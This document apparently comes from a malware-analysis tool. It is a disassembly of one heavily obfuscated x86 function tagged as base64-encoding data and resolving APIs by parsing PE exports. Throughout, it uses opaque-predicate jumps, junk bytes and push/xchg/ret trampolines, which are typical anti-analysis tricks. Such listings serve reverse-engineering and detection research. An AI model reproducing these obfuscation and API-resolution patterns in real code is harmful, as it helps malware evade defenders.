Function at 0x406043
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
xor dword [esp], 0x752a1790
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4078ce
mov eax, dword [esp + 4]
clc
cld
nop
nop
jae 0x40841c
add byte [ecx], al
jg 0x40588e
out 0x8b, eax
retf
mov ecx, ebx
clc
cld
nop
nop
jae 0x405c47
clc
add byte [eax], al
sub eax, 0xf6006fb8
sub eax, 0xfcf2f850
push eax
clc
cld
nop
nop
jae 0x4087c7
dec ecx
add byte [esi + 0x5d3d0000], cl
and esp, esp
test al, 0xb2
adc eax, 0x7fbf5753
xchg byte [eax], al
push ebx
push edi
mov edi, 0x40867f
xchg dword [esp], edi
ret
mov ebx, eax
mov ebx, eax
clc
cld
nop
nop
jae 0x4084d7
and al, byte [edx + 0x52840000]
push ebx
daa
push eax
clc
cld
nop
nop
jae 0x4086c2
add byte [esi - 8], dl
add byte [eax], al
add byte [eax], al
cli
out 0x49, al
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4088bc
push ecx
push edi
mov edi, 0x407eb8
xchg dword [esp], edi
ret
push eax
clc
cld
nop
nop
jae 0x405a9b
test bh, dl
adc dword [esi - 0x52f2ff29], esi
sub dword [ebp - 0x74aa6f40], eax
in al, dx
leave
nop
jmp 0x40827a
mov esi, edx
clc
cld
nop
nop
jae 0x405e1f
pop ss
mov dh, 0
xlatb
add byte [eax], al
add byte [ebp + 0x80b68b], bh
add byte [eax], al
clc
cld
nop
nop
jae 0x409043
sub eax, 0x8bd70073
cmp dword [eax - 0x70000000], 0xc9ec8b55
nop
jmp 0x405d2c
mov eax, ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4089e5
push 0xe11a3be0
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405fe1
lea edi, [esi + 8]
clc
cld
nop
nop
jae 0x407296
add byte [edx - 0x2e28ffa6], ch
add eax, 0xfcf2f851
push ecx
clc
cld
nop
nop
jae 0x408c0e
add byte [edx + edi*8 - 0x7c000000], 0
out dx, eax
mov edx, dword [edi + 0xc]
clc
cld
nop
nop
jae 0x408e7d
push ds
add byte [eax + eax], ah
add byte [ecx + 3], ch
pause
add esi, ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40821c
push ecx
clc
cld
nop
nop
jae 0x40793d
add byte [esi], bl
add byte [eax], al
salc
pop edx
add byte [eax], al
mov al, byte [0x6cb9dfac]
inc esi
jb 0x405b1c
nop
push ebp
mov ebp, esp
in al, dx
leave
nop
jmp 0x40684f
jne 0x4065ed
cmp dword [esi], 0xf
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406ce3
mov ecx, 0x65
clc
cld
nop
nop
jae 0x407673
add byte [edx + edx*2 + 0x41], ah
push edx
inc ecx
jl 0x405aba
mov ch, 0x83
invalid
add esi, 8
clc
cld
nop
nop
jae 0x406069
push edx
add byte [ecx + 0x64], cl
mov eax, 0xff7ff000
jmp dword [ecx + ebp]
nop
push ebp
mov ebp, esp
leave
nop
jmp fcn.00407f48
jmp 0x40640a
push 0x40
push edi
mov edi, 0x408aa3
xchg dword [esp], edi
ret
push esi
clc
cld
nop
nop
jae 0x408cd3
xchg ebx, eax
add ch, bh
add byte [eax], al
cli
add byte [edx - 0x78], ch
sar byte [esi + 0x38d0010], 1
jge 0x405bed
add edi, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x406cc8
add byte [esi + 0x845db8], al
adc ebp, ecx
sub eax, 0xe
add byte [eax], al
ret
jmp 0x406a0d
add byte [esi - 0x72986b02], al
adc al, 0x32
lea edx, [edx + esi]
clc
cld
nop
nop
jae 0x406fbd
jl 0x405c02
test byte [ebx - 0x3c], dh
and dword [ecx + 0x3fbf5760], esp
insd dword es:[edi], dx
inc eax
add byte [edi + 0x21c3243c], al
and al, 0xfd
ret
pushal
push edi
mov edi, 0x406d3f
xchg dword [esp], edi
ret
push ecx
push edi
mov edi, 0x40644a
xchg dword [esp], edi
ret
add ecx, dword [ecx + 0x3c]
clc
cld
nop
nop
jae 0x408d74
mov dh, 0x82
add byte [ebp + 0x100000], ch
xchg edi, eax
mov edi, eax
push edi
mov edi, 0x40645f
xchg dword [esp], edi
ret
push ecx
clc
cld
nop
nop
jae 0x4063f2
cli
add byte [esi], dl
add byte [eax], al
and dword [esi - 0x2affc558], eax
mov ecx, dword [esi + 0x3c]
push edi
mov edi, 0x4079f4
xchg dword [esp], edi
ret
movzx edi, word [edi + 0x14]
clc
cld
nop
nop
jae 0x406957
dec ecx
cli
mov dh, 0x52
add byte [ebp - 0x75], dh
xor al, 0x96
clc
cld
nop
nop
jae 0x408111
xchg esi, eax
push 0
add byte [edi - 0x1ff8400], bh
imul eax, dword [edi - 0x40a81bb9], 0xffffffcf
jbe 0x405d4a
add byte [edi + 0xc3243c], al
mov gs, word [ecx - 0x1cb70000]
xor eax, 0x2e36e9
add byte [edx + 0xfad190], al
add byte [eax], al
rol byte [eax], 0x6f
and dword [eax], eax
add byte [edx + 0x805e300], al
add byte [eax], al
add al, bh
add eax, 8
clc
cld
nop
nop
jae 0x406b9e
clc
add byte [eax], al
push edx
jb 0x405d42
xor edi, esi
sar al, cl
not edx
clc
cld
nop
nop
jae 0x406a0d
push ebx
jae 0x405d64
add eax, 0xf4840000
salc
fld xword [ecx + 0xff0000]
test eax, 0xff0000
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407c80
rep movsb byte es:[edi], byte [esi]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406298
push dword fs:[eax]
clc
cld
nop
nop
jae 0x40879c
add byte [eax - 0x56beff9c], dl
ror byte [edx + 0x8b6429], 1
mov eax, dword fs:[eax]
push edi
mov edi, 0x408d42
xchg dword [esp], edi
ret
mov ecx, ebx
clc
cld
nop
nop
jae 0x4064fa
add byte [ecx + 5], cl
add byte [eax], al
add dh, dl
adc al, 0
imul ecx
retf
jmp 0x406298
call fcn.00405b39
clc
cld
nop
nop
jae 0x40588f
add byte [edx], bl
outsd dx, dword [esi]
cdq
add ecx, 3
clc
cld
nop
nop
jae 0x406051
xchg ebx, eax
add byte [ecx], bh
add byte [ecx - 6], cl
xor al, 0
fdivrp st(1)
shl esi, 3
clc
cld
nop
nop
jae 0x405f8c
mov es, word [eax]
outsd dx, dword [esi]
add byte [eax], al
das
push edx
add byte [ecx - 0x721374ab], al
pushal
xchg edi, ebx
add byte [eax], al
push 0x37d69e00
mov dl, 0x53
and esi, dword [eax]
call 0x8394046c
jmp 0x29ffb566
sub ecx, 0x14
push edi
mov edi, 0x406329
xchg dword [esp], edi
ret
push edx
clc
cld
nop
nop
jae 0x40701a
xchg esi, eax
add byte [ecx], bh
add byte [eax], 0
pop edx
cli
mov byte [0xf2f849cb], al
cld
dec ecx
clc
cld
nop
nop
jae 0x407a22
add byte [edx], ch
add byte [edi + 0x2f], bh
add byte [eax], al
sbb ecx, 0xffffffe8
fld1
clc
cld
nop
nop
jae 0x406a62
add byte [eax], 0
add byte [eax], al
push ebx
push esi
cmp ecx, dword [ebx + 0x17bf57f8]
jg 0x405eea
mov edi, eax
push edi
mov edi, 0x407f17
xchg dword [esp], edi
ret
add byte [edi + 0x64c3243c], al
add byte [eax], al
salc
add byte [ecx], cl
je 0x405e58
cmp al, 0
int3
mov eax, eax
clc
cld
nop
nop
jae 0x4062f9
ret
adc byte [ecx + 0x3d8850f], 0
add byte [eax - 0x361374ab], dl
jne 0x4062ca
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405ff6
mov ebx, esi
clc
cld
nop
nop
jae 0x4061d5
jecxz 0x405f10
add byte [edx + 0x5730039], al
not dword [esp]
clc
cld
nop
nop
jae 0x407ab3
add byte [ecx - 0x7e], al
add byte [eax + 0x431b5ad], dl
and al, 0x57
xor dword [esp], eax
push edi
mov edi, 0x40630e
xchg dword [esp], edi
ret
call fcn.00405b39
clc
cld
nop
nop
jae 0x406675
add dh, dl
pop edx
add byte [edx], bl
add al, cl
cwde
les eax, [ecx - 0x74aa6f37]
in al, dx
leave
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4073b2
movzx eax, word [edx + ebp]
push edi
mov edi, 0x406122
xchg dword [esp], edi
ret
shl edx, 5
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405bf2
xor eax, 0x6b0e22ac
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40899f
push ecx
clc
cld
nop
nop
jae 0x408c92
push esi
add byte [eax], al
rol byte [eax], 0xc2
add byte [eax], 0x6b
call fcn.00405b39
clc
cld
nop
nop
jae 0x405c07
cli
cmp eax, 0xc3940000
xor dword [esp], 0x82775483
clc
cld
nop
nop
jae 0x406a4d
and eax, eax
xlatb
mov esi, dword [ebx + 0x3c]
push edi
mov edi, 0x4070b5
xchg dword [esp], edi
ret
push ecx
clc
cld
nop
nop
jae 0x405e63
or eax, 0x9000bf
add byte [ebx + 0x6e], dl
rcl byte [eax], 0
cli
popfd
push ecx
clc
cld
nop
nop
jae 0x406be3
push ebx
add byte [eax], al
cmp dword [eax - 0x80], ebx
add byte [eax - 0x1e7ee87a], bh
invalid
and ecx, 0xffff
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40773f
call fcn.00405b39
clc
cld
nop
nop
jae 0x4085bb
mov fs, word [edx]
add byte [eax], al
add al, byte [eax]
lodsb al, byte [esi]
dec ecx
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408bf9
xchg byte [eax], al
xchg dword [esp], edi
ret
rep stosd dword es:[edi], eax
clc
cld
nop
nop
jae 0x4070fd
mov ss, word [ebx - 0x3bffa23d]
lodsd eax, dword [esi]
rol byte [eax], 1
add ah, dl
rcr byte [ebp + 0x2f4a840f], cl
add byte [eax], al
clc
cld
nop
nop
jae 0x4058d1
pop edx
add byte [eax], al
inc ecx
shr ecx, 2
clc
cld
nop
nop
jae 0x40735c
cli
add byte [edi], ch
add byte [esi + 0x608e007a], al
add byte [ebx - 0x4958087f], bh
loopne 0x406084
clc
cld
nop
nop
jae 0x4077db
salc
add eax, 0x35005400
push 0
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4063c4
mov eax, dword [ebp + eax*2]
clc
cld
nop
nop
jae 0x4080cc
rcl dword [eax + 0x10c200ad]
add byte [eax], bl
xor eax, ebx
clc
cld
nop
nop
jae fcn.00405b39
add byte [eax], al
add byte [esi + 0x8600], dl
pop ss
fistp dword [esp]
clc
cld
nop
nop
jae 0x4074a1
and al, 0xb8
inc ecx
add byte [eax], al
add byte [esp + ebx*4 - 0x1726e666], bl
push edi
mov edi, 0x407f2f
xchg dword [esp], edi
ret
test edx, edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408d8b
add esi, 0x10
clc
cld
nop
nop
jae 0x405af6
add byte [eax], al
add bh, dl
add al, bh
push ecx
pushal
push edi
mov edi, 0x406527
xchg dword [esp], edi
ret
je 0x408eff
clc
cld
nop
nop
jae 0x405bdb
add bl, ah
nop
sar byte [ebx - 0x77], cl
pop es
clc
cld
nop
nop
jae 0x4082eb
nop
ja 0x406254
cmp eax, eax
add byte [eax], al
pop es
mov ecx, 0x390f561b
clc
cld
nop
nop
jae 0x408b26
add byte [eax], al
xchg bl, al
mov edi, 0xbf57006a
salc
pop esi
inc eax
add byte [edi + 0x6ec3243c], al
inc ecx
adc bh, 0
pop edx
pop ebp
stosb byte es:[edi], al
aas
lodsd eax, dword [esi]
clc
cld
nop
nop
jae 0x406554
add byte [ebp - 0x7bff6f7e], ch
jecxz 0x40626d
jmp 0x4062c7
popal
clc
cld
nop
nop
jae 0x406098
jl 0x4062a7
salc
add byte [ebp - 0x1500000], ch
xor al, 0
fdivr st(1), st(0)
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406bce
add byte [eax - 0x6fcd742f], dl
mov esi, dword [edx]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406c88
push eax
push edi
mov edi, 0x40859c
xchg dword [esp], edi
ret
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408e68
add esi, ecx
clc
cld
nop
nop
jae 0x40713e
stosb byte es:[edi], al
push esi
cmp eax, 0x583d0093
push edi
jmp 0x4082b9
mov esi, ebx
clc
cld
nop
nop
jae 0x405db1
ja 0x40642e
push esi
pop eax
add byte [edx - 0x40], bl
add byte cs:[eax + ebp*8 - 0x40a8af63], ch
ljmp 0x243c
push eax
push edi
mov edi, 0x4061ea
xchg dword [esp], edi
ret
test al, 1
push edi
mov edi, 0x4059a6
xchg dword [esp], edi
ret
fistp dword [esp]
push edi
mov edi, 0x406080
xchg dword [esp], edi
ret
xor edx, edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40880a
add byte [0xe8865afa], cl
jmp 0x40648c
sub al, bh
cld
nop
nop
jae 0x407b4b
clc
rol dword [eax], 1
pop ebp
rol byte [edi + esi - 0xf809], 0xff
call dword [eax - 0x361374ab]
test dword [edi], 0xffffffff
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407c96
add ecx, dword [ecx + 0x3c]
clc
cld
nop
nop
jae 0x406d83
push edx
add byte [eax], al
ret 0x4900
add esp, 0x2c
clc
cld
nop
nop
jae 0x40817c
add byte [eax], al
add byte [ecx], ah
add byte [eax + 0x2b91002c], dl
sar eax, 0xf2
cld
sub eax, ecx
clc
cld
nop
nop
jae 0x407a9e
je 0x406563
les eax, [eax]
add byte [esi + edx*2 + 0x55905973], al
pop ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408c7b
add edi, dword [ebp + 0x24]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40863b
xor eax, 0x16125347
clc
cld
nop
nop
jae 0x40584d
add byte [eax], al
ret
push dword [edx + 0x50]
push edi
mov edi, 0x4089fe
xchg dword [esp], edi
ret
add dh, bh
cwde
cmc
pop eax
clc
cld
nop
nop
jae 0x4082a4
push esi
nop
add byte [eax], al
add byte [edx + 0x742100], ch
inc ecx
pop ecx
jmp 0x40661d
mov edi, dword [edi]
clc
cld
nop
nop
jae 0x406ebf
pop ss
jae 0x406619
and dword [eax - 0x7cba8d00], edx
sar bh, 0x57
mov edi, 0x407373
xchg dword [esp], edi
ret
pop ecx
clc
cld
nop
nop
jae 0x40668a
clc
add byte [eax], al
sbb al, 0xe3
add byte [edx], dl
dec dword [ebx - 0x30d070d]
mov esi, ebx
clc
cld
nop
nop
jae 0x406c9d
adc dword [edi], edx
test eax, 0xa9bff800
and dword [ebx - 0x30d07fa], ecx
nop
nop
jae 0x405fa1
pop ss
inc ecx
add al, al
and bh, byte [edi]
jl 0x4066b5
out dx, al
je 0x4066b8
sahf
mov edi, 0x30247c8d
clc
cld
nop
nop
jae 0x408f57
push edx
retf 0x415a
mov ecx, dword [ecx + 0x38]
clc
cld
nop
nop
jae 0x405b54
add byte [esi], dl
ja 0x406714
mov dh, 0x16
add byte [ebx - 0x7f], ch
int1
inc edx
dec ecx
xchg eax, edi
cld
nop
nop
jae 0x408706
add byte [eax], al
test eax, 0x700588e
push edi
clc
cld
nop
nop
jae 0x406283
retf 0
lea edi, [edi + ebx]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405cd5
add edi, 0x10
clc
cld
nop
nop
jae 0x4077ad
xchg esi, eax
add byte [eax], 0x77
add byte [eax], al
sahf
xorps xmm2, xmmword [eax - 0x361374ab]
push edi
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408504
pop ecx
push edi
mov edi, 0x406202
xchg dword [esp], edi
ret
sub dword [ebx + 0x570c244c], ecx
mov ecx, dword [esp + 0xc]
push edi
mov edi, 0x405950
xchg dword [esp], edi
ret
jne 0x4076fb
clc
cld
nop
nop
jae 0x408407
jl 0x4067cd
je 0x4067b5
ret
xchg byte [eax], al
movntps xmmword [ebp + 0x24], xmm0
sub eax, dword [ebp + 0x24]
clc
cld
nop
nop
jae 0x406adf
xchg ebx, eax
add byte [eax], al
adc dword [eax], eax
sar byte [esi], 0
sti
jne 0x406a0d
clc
cld
nop
nop
jae 0x408786
add al, bh
push 0xffffffffffffff88
imul ebx, dword [ebp + 0x57], 0xffffffbf
push edi
insb byte es:[edi], dx
inc eax
add byte [edi - 0x7d3cdbc4], al
inc ecx
jae 0x406849
pop ebp
push edi
mov edi, 0x406c57
xchg dword [esp], edi
ret
jecxz 0x40680a
std
ja 0x406897
insd dword es:[edi], dx
push ecx
clc
cld
nop
nop
jae 0x40757c
cmp ebp, edi
lodsd eax, dword [esi]
add byte [eax], al
xchg byte [eax + eax - 0x58], bh
jbe 0x406866
or byte [eax], al
add dword [ebx - 0x40a8fe3d], eax
sub eax, 0x87004089
cmp al, 0x24
add ebx, 1
push edi
mov edi, 0x40892d
xchg dword [esp], edi
ret
pop ecx
clc
cld
nop
nop
jae 0x40837a
mov edi, 0x4100
xchg esi, eax
add byte [eax], al
aas
call fcn.00407f48
push ss
add byte [eax], al
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4076b5
lea esp, [esp + eax]
clc
cld
nop
nop
jae 0x406e12
nop
add byte [eax], al
adc dword [eax - 0x163e1440], edx
add dl, byte [edi - 0x41]
vmwrite eax, dword [eax]
xchg dword [esp], edi
ret
push ecx
clc
cld
nop
nop
jae 0x407388
retf 0x8400
imul ecx
clc
cld
nop
nop
jae 0x406dc8
jg 0x406937
xlatb
mov ds, word [ebp - 3]
add byte [edx], bh
cwde
add eax, 0x9dbf5755
nop
inc eax
add byte [edi + 0xc3243c], al
push edx
push edx
add dl, al
inc ecx
push edx
nop
add byte [edi + 0x5728c283], dl
mov edi, 0x4060e1
xchg dword [esp], edi
ret
add byte [edi - 0x3135600], bh
fimul dword [edi - 0x75]
clc
mov esi, dword [esi]
clc
cld
nop
nop
jae 0x4089b7
add byte [eax], al
add byte [esi - 0x73ff7fdf], al
shl ah, cl
jge 0x40695b
add edi, ebx
sti
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407241
add eax, dword [ebx + 0x2f913]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40830b
pop ecx
clc
cld
nop
nop
jae 0x407438
add bl, al
add byte [eax], al
or eax, 0xd0002f00
aaa
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4077f0
add eax, dword [eax + 0x3c]
push edi
mov edi, 0x405a28
xchg dword [esp], edi
ret
inc edx
push edi
mov edi, 0x406d6b
xchg dword [esp], edi
ret
jne 0x4077ad
clc
cld
nop
nop
jae 0x405dc8
ret
push esp
push edi
mov edi, 0x406510
xchg dword [esp], edi
ret
push ecx
clc
cld
nop
nop
jae 0x406167
add byte [eax], al
outsb dx, byte [esi]
sub byte [0xf8c486d7], 0x9c
popfd
jb 0x406329
clc
cld
nop
nop
jae 0x407645
add al, 0
call 0x810b6ad4
loop 0x406a9d
push edi
mov edi, 0x4082b9
xchg dword [esp], edi
ret
add edi, ecx
clc
cld
nop
nop
jae 0x405a6c
invalid
add eax, edi
clc
cld
nop
nop
jae 0x4090dd
add byte [esi + 0x8000], al
jl 0x406a78
dec esi
add byte [ecx], ch
push ebp
mov ebp, esp
ret 0x8f04
popal
clc
cld
nop
nop
jae 0x4067f8
add byte [esi + 0x5ac3c377], al
add byte [eax], al
lodsb al, byte [esi]
jno 0x406b27
add edi, ebx
sti
clc
cld
cld
nop
nop
jae 0x405d6f
ja 0x406ba9
jl 0x406b61
pop ss
add byte [eax], al
dec ebp
add ecx, 0xb
clc
cld
nop
nop
jae 0x405fcb
add byte [0x21000dc2], cl
insb byte es:[edi], dx
add byte [ecx - 0x40a80cfd], cl
pop ebx
test dword [eax], eax
add esi, ebx
push edi
mov edi, 0x40855b
xchg dword [esp], edi
ret
outsb dx, byte [esi]
add dl, bh
je 0x406b66
inc eax
add byte [eax], ah
add byte [eax], bl
add byte [eax + 0x33df006c], cl
rcl byte [edi - 0x41], 0x19
bound eax, qword [eax]
xor eax, eax
push edi
mov edi, 0x406219
xchg dword [esp], edi
ret
add di, word [edi + 0x14]
clc
cld
nop
nop
jae 0x408bb6
push esi
les eax, [eax]
add byte [eax], al
jp 0x406b9b
js 0x406b9d
add dword [ecx + 0xb881], ecx
add byte [eax - 0x361374ab], dl
mov dword [ecx + 0xb8], eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40802a
mov eax, 0x73663c35
clc
cld
nop
nop
jae 0x4065c0
adc dword [ebx], edx
lodsd eax, dword [esi]
adc ecx, dword [ebx - 0x30d0734]
mov ecx, esp
clc
cld
nop
nop
jae 0x408263
das
add byte [ecx], al
add byte [edx + 0x3ce8c100], al
out dx, eax
invalid
push esp
push edi
mov edi, 0x405b97
xchg dword [esp], edi
ret
xor edx, edx
clc
cld
nop
nop
jae 0x40744d
shr byte [edi + 0x7f], 0x3d
add byte [eax], al
das
or eax, 0x1948e8
add al, bh
call 0x408587
clc
cld
nop
nop
jae 0x407ffc
ret
sub edx, 0x28
clc
cld
nop
nop
jae 0x408439
xlatb
add byte [eax], al
add byte [eax], al
nop
fisttp dword [ebx - 0x3f40a802]
push 0x3c870040
and al, 0xc3
ret
mov edi, esi
push edi
mov edi, 0x4068c0
xchg dword [esp], edi
ret
rep movsb byte es:[edi], byte [esi]
clc
cld
nop
nop
jae 0x409073
push ds
push ebx
sub eax, 0x84000049
fist dword [esi - 8]
push esi
clc
cld
nop
nop
jae 0x40679c
add byte [ebx + 0x11], dh
add byte [eax], al
add byte [esi], bl
add dl, bh
inc edx
add byte [esi], bh
mov eax, 0x2b840f59
and byte [eax], al
add al, bh
je 0x408d14
clc
cld
nop
nop
jae 0x405b23
add dh, dl
add ah, ah
inc ebx
push eax
clc
cld
nop
nop
jae 0x405bac
sbb al, 0xb6
add byte [ebp + 0x22ad2200], ch
mov edi, 0xf2f8006a
cld
push 0
clc
cld
nop
nop
jae 0x406259
test eax, 0x1eb84186
les eax, [eax]
dec ebp
rep movsb byte es:[edi], byte [esi]
clc
cld
nop
nop
jae 0x408ca7
add byte [eax], al
add byte [edi + 0x77], dh
add byte [eax], al
or al, 0
pop eax
add al, bl
dec esp
add bh, ch
add ebx, dword [ebx + 0x3c]
push edi
mov edi, 0x408f3f
xchg dword [esp], edi
ret
push ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406e3c
add esi, 0x3488
clc
cld
nop
nop
jae 0x408570
das
push edx
ret 6
mov dword [esp + 0x1c], eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406b0d
pop dword fs:[eax]
clc
cld
nop
nop
jae 0x408ce8
ret
shr ecx, 2
clc
cld
nop
nop
jae 0x40709e
add byte [eax], al
je 0x406e39
mov eax, 0xbf0f7939
inc ecx
adc al, 0xf8
movsx eax, word [ecx + 0x14]
clc
cld
nop
nop
jae 0x408a18
test byte [ecx + ecx*2 + 5], ah
add byte [ebp - 0x7f], ah
in al, dx
add byte [edx], al
add byte [eax], al
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406f02
add edi, eax
push edi
mov edi, 0x4079c8
xchg dword [esp], edi
ret
sub edi, edx
clc
cld
nop
nop
jae 0x406b23
and dword [edi], edx
mov dh, 0
add byte [eax], al
test eax, 0x55909b09
mov ebp, esp
leave
nop
jmp 0x408a8e
xchg edi, eax
clc
cld
nop
nop
jae 0x4085fa
add byte [edx - 0x4a], bl
add byte [edx + 0x1a5a0000], al
add byte [edi], bh
push esi
clc
cld
nop
nop
jae 0x406f91
jecxz 0x406f10
push ebx
push 0
inc ecx
retf 0xdd00
add byte [eax], al
invalid
add esi, 4
push edi
mov edi, 0x405b7e
xchg dword [esp], edi
ret
sub dword [esp], 1
clc
cld
nop
nop
jae 0x406395
invalid
ret
mov eax, esi
clc
cld
nop
nop
jae 0x4090b3
les edi, [ecx]
add byte [edi], ch
outsb dx, byte [esi]
and dword [ebp - 0x30d07a9], esi
push edi
clc
cld
nop
nop
jae 0x405865
add byte [esi], ch
jae 0x406f73
jg 0x406f28
pop eax
ficomp word [esi - 0x6f367af9]
push ebp
mov ebp, esp
leave
nop
jmp 0x4080f7
add edx, ecx
clc
cld
nop
nop
jae 0x4076fb
add ah, al
test byte [eax + 0xd000000], bh
push ecx
clc
cld
nop
nop
jae 0x40847f
xchg ebx, eax
or eax, 0xad007300
mov eax, 0xd8006600
mov ch, 0x89
sub dword [eax - 0x70000000], 0xc9ec8b55
nop
jmp 0x406b70
mov eax, esi
clc
cld
nop
nop
jae 0x405837
push edx
add byte [eax], al
nop
add byte [edi - 0x7a6dd00], bh
cld
nop
nop
jae 0x407952
xchg esi, eax
ja 0x40703e
cli
add byte [eax], al
je 0x407040
add byte [ebp + edi*8 + 0x6d], dh
insd dword es:[edi], dx
fistp dword [esp]
push edi
mov edi, 0x407b0b
xchg dword [esp], edi
ret
push eax
push edi
mov edi, 0x408236
xchg dword [esp], edi
ret
jmp 0x408fac
pushal
clc
cld
nop
nop
jae 0x4086f0
push ds
add byte [edx], dl
add byte [eax], al
and al, byte [eax]
pop edx
add bl, dl
mov esi, dword [esi + ebx + 0x78]
clc
cld
nop
nop
jae 0x406b4f
push 0
add byte [ebp + 0x575e69e2], bl
mov edi, 0x4073cb
xchg dword [esp], edi
ret
popal
clc
cld
nop
nop
jae 0x406cb3
add byte [esi], bl
add dl, al
xchg esi, eax
add byte [eax], al
stosb byte es:[edi], al
push 0xf336cf00
fisttp qword [ecx + 0x10004]
fisttp qword ss:[ecx + 0x10004]
clc
cld
nop
nop
jae 0x408fd8
ret
mov esi, dword [esi + 0xc]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4078b7
add si, word [esi + 0x14]
clc
cld
nop
nop
jae 0x407d45
add byte [ebp + edi + 0x3537523d], al
cmp byte [ecx + 0x55901524], bl
xor eax, 0x15249938
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407070
dec ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406a38
fld1
clc
cld
nop
nop
jae 0x40753c
push edx
outsd dx, dword [esi]
pop edx
and dword [eax], eax
pop ebp
cli
mov eax, 0xf2f85937
cld
pop ecx
clc
cld
nop
nop
jae 0x407b62
cmp dword [eax], eax
add dl, cl
add byte [eax], al
das
add ch, bh
push 0x40
push edi
mov edi, 0x40633e
xchg dword [esp], edi
ret
cld
push edi
mov edi, 0x408771
xchg dword [esp], edi
ret
add ecx, eax
clc
cld
nop
nop
jae 0x405926
add byte [eax + edx*4], bl
add byte [ecx], ah
add byte [edi + 1], bh
movzx edi, word [edi + 0x14]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x407e8e
pop esi
clc
cld
nop
nop
jae 0x407f75
inc ecx
outsb dx, byte [esi]
clc
add byte [ecx + ecx*2 + 0x5d], dh
add byte [edi - 0x7dbe325], bh
fistp dword [esp]
clc
cld
nop
nop
jae 0x40765d
push ebx
stosb byte es:[edi], al
xlatb
add byte [eax], al
sbb al, 0xef
push ebp
mov ebp, esp
and dh, bh
dec eax
sbb bh, byte [esi + edi + 0xfeca94]
in al, 0xf
into
invalid
mov edi, dword [edi + 8]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4078a1
movzx ecx, word [esi + 6]
clc
cld
nop
nop
jae 0x405e79
and dword [eax], eax
rol byte [eax], 0x17
push ecx
push ebx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x405e8e
mov dword [esp + 0x40], eax
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40653d
je 0x409017
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4083f0
rep movsd dword es:[edi], dword [esi]
clc
cld
nop
nop
jae 0x408ae4
std
add byte [eax], al
test eax, 0x5000d100
add byte [edi], cl
cmp eax, 0
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x40809e
fistp dword [esp]
clc
cld
nop
nop
jae 0x408f2a
add byte [eax], al
pop ebp
add byte [eax], al
add byte [0x90044f8b], ch
mov ecx, dword [edi + 4]
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406649
push edx
clc
cld
nop
nop
jae 0x4058e7
add byte [eax], al
pop eax
add byte [edx - 0x70], bl
test byte [eax], al
push edx
add byte [edx + 0x575a89be], bh
mov edi, 0x40871b
xchg dword [esp], edi
ret
cmp ecx, edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4067e3
call fcn.00405b39
clc
cld
nop
nop
jae 0x407477
add byte [esi + ebp*2], ah
add bh, bl
mov ecx, 0x124b
clc
cld
nop
nop
jae 0x409088
add byte [eax], al
je 0x4074b2
nop
scasb al, byte es:[edi]
add bl, cl
pop edx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406634
div ecx
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x408453
stosd dword es:[edi], eax
clc
cld
nop
nop
jae 0x40649f
add byte [eax], al
nop
nop
push 0xffffffffffffffbf
cmp ebx, eax
dec edi
push 0x40
clc
cld
nop
nop
jae 0x406606
cli
add byte [edi + edx], bh
add byte [ecx - 0xd07649b], ch
cld
wait
clc
cld
nop
nop
jae 0x407ed0
mov edi, 0xa982497f
mov dh, 0
add byte [ebx - 0x30d07c0], bl
inc eax
clc
cld
nop
nop
jae 0x4068f9
and dword [edx + 0x49738400], eax
test byte [eax], al
xchg ebp, eax
imul ecx, ecx, 0x28
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x406b85
add ecx, 0x28
nop
push ebp
mov ebp, esp
leave
nop
jmp 0x4073e0
mov eax, dword [ebx + 0x2c9ed]
clc
cld
nop
nop
jae 0x406985
and bl, 0
ljmp 0xf8c7
mov eax, edi
clc
cld
nop
nop
jae 0x408519
das
add byte [ecx], bh
xchg esi, eax
adc dword [ecx], eax
xchg esp, eax
push 0xf8514500
add byte [ebp + 0x51], al
push ecx
clc
cld
nop
nop
jae 0x4081c0
add byte [esi + 0xfa84a9], dh
